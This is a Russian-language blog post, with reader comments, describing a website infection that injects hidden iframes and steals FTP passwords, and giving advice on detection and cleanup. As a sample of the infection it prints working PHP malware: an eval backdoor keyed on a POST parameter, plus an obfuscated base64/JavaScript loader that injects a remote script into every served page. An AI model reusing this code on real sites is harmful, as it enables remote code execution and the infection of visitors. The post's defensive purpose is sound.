Немного о безопасности
Сегодня на дружественном мне форуме наткнулся в на сообщение о вирусе и вспомнил, как бился с ним (или его сородичем) на своих сайтах. Посему решил немного рассказать об этой “заразе” и дать несколько рекомендаций по борьбе с ней.Симптоматика:
В принципе, единственным сигналом о заражении будет сообщение о вредоносном ПО, при заходе на сайт. Более никаких симптомов мною не замечено. но если подскажите – буду рад и признателен.
Врачи-диагносты:
Антивирусы, замечавшие на моей памяти этот вирус:
- Антивирус Касперского
- Nod 32
MacAffey, на моей памяти не замечал, как и Avast. Но зря грешить не буду, так как возможно проблему пофиксили в более поздних версиях. Но все равно, не доверяйте этим программам безоговорочно.
Течение болезни:
По сути, у этого вируса 2 модуля. Первый открывает на Вашем сайте 1-пиксельный фрейм, который через 3 прокси приводит на 4 прокси и дальше я. честно говоря не ходил. Вероятно в конце скрипт с рекламой, которая фиксирует просмотр. Второй модуль собственно заражает ФТП-менеджер и пересылает паорль от ФТП. То есть, пока выпользуетесь зараженным менеджером, ваши пароли всегда известны злоумышеннику.
Очаг:
Как и у любой медицинской болезни, у вируса о котором я веду речь есть излюбленные файы в которых он селится. Так как заражение происходит автоматически, с помощью скрипта, заражение происходит по маске:
- index.*
- main.*
- home.*
- admin.*
- auth.*
- login.*
- etc
где символом звездочки заменяется любое расширение файла, кроме .tpl
UPD 30.04.2009: Колеги с форума сообщают, что заражены были файлы и с друм именами, например:
wp-settings.php и jquery.js
Как видете, вирусмейкеры не стоят на месте, но так же сохраняется возможность, что это разновидность вируса под Wordpress.
Как видите, для заражения выбраны те файлы. которые с верятностью 90% процентов присутствуют на любом сайте. Так же стоит заметить, что в самом файле скрипт тоже придерживается определенного алгоритма. Так излюбленные места в коде это:
- после тега “<BODY>“
- после тега “</HTML>“
- после символа “?>“
Сам вирус. Вы легко узнаете. по конструкции
<!– <iframe> … </iframe> –>
<!--
document.write(unescape('...'));
-->
<?php if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCmRvY3VtZW50LndyaXRlKHVuZXNjYXBlKCclM0NzY3I0b0NpanFNcHRkRWElMjBzbzVIcmM0b0MlM0QlMkYlMkZvNUg5anFNNCUyRTJvNUg0Nzk1WiUyRTJadmIlMkU0b0MxOTRvQzVvNUglMkY5NVpqWnZicXVadmJlcnk0b0MlMkVqcyUzRXg4JTNDZEVhJTJGc3g4Y3JqcU1pcFp2YnRqcU0lM0UnKS5yZXBsYWNlKC80b0N8eDh8ZEVhfFp2YnxqcU18OTVafG81SC9nLCIiKSk7CiAtLT48L3NjcmlwdD4='));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139)));$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("n",$v))>5){$e=preg_match('#['"][^s'".,;?![]:/<>()]{30,}#',$v)||preg_match('#[([](s*d+,){20,}#',$v);if((preg_match('#bevalb#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace('#<script language=javascript><!-- ndocument.write(unescape(.+?n --></script>#','',$s);if(stristr($s,'<body'))$s=preg_replace('#(s*<body)#mi',TMP_XHGFJOKL.'1',$s1);elseif(($s1!=$s)||stristr($s,'</body')||stristr($s,'</title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?>
Возможны и другие формы кода.
Лечение и профилактика:
К сожалению, если вы подверглись заражению единственный способ избавится от вируса:
- Удалить код вируса изо всех файлов сайта.
- Сменить пароль от ФТП.
- Сменить фтп менеджер. Я стал использовать такую разработку, как Win SCP, после перехода на этот ftp-менеджер заражение сайта прекратилось.
Однозначно подвержены атаке:
- встроенный фтп-менеджер программы Total Commander
- встроенный фтп-менеджер FAR-manager
- CuteFTP *.*
Выписной эпикриз:
К сожалению, данная публикация отражает только мой личный опыт, и возможно я что то упустил, так как не столкнулся, но надеюсь данной Вам информации хватит для принятия верного решения для защиты своего сайта.
Так же хочу заметить, что если у кого то из моих читателей есть, что добавить по теме буду рад получить полезную информацию. Ставлю ссылки на источники.
Другие упоминания болезни:
Так же я порой натыкаюсь на упоминания об описанной выше проблеме на других блогах и форумах, может это кому то поможет:
http://www.webdeveloper.com/forum/showthread.php?t=203620 (en)
По теме
Tags: вирусы


> Однозначно подвержены атаке:
А что, встроенные ftp клиенты у TC & FAR “умеют” разгребать и обрабатывать HTML-код?
Гон!
Стоп. Вы о чем?
Причем здесь “разгребать и обрабатывать HTML-код”?
Повнимательне прочитайте пост. В нем говорится, что вирус имеет 2 функции, и одна из них воровать пароли к фтп.
Соответственно вирус селится в том же самом ТС и пересылает на удаленный хост новый пароль. А скрипт находящийся на удаленном же хосте лезет на фтп и, как Вы выражаетесь “разгребает и обрабатывает HTML-код”.
В дабавок, я делюсь своим личным опытом, и в моем случае, пока я пользовался одним из этих клиентов – вирусы на сайт лезли. А как только сменил на WINSCP проблема решилась. Так что…
Факт!
Очень долго писал, а потом подумал, а зачем надрываться? В общем, надо бы писать более полезные посты. Вот буквально прошлый – замечательный. А вот этот – уже совсем не так. Держите планку!
Благодарю. Как и всегда – отличный пост!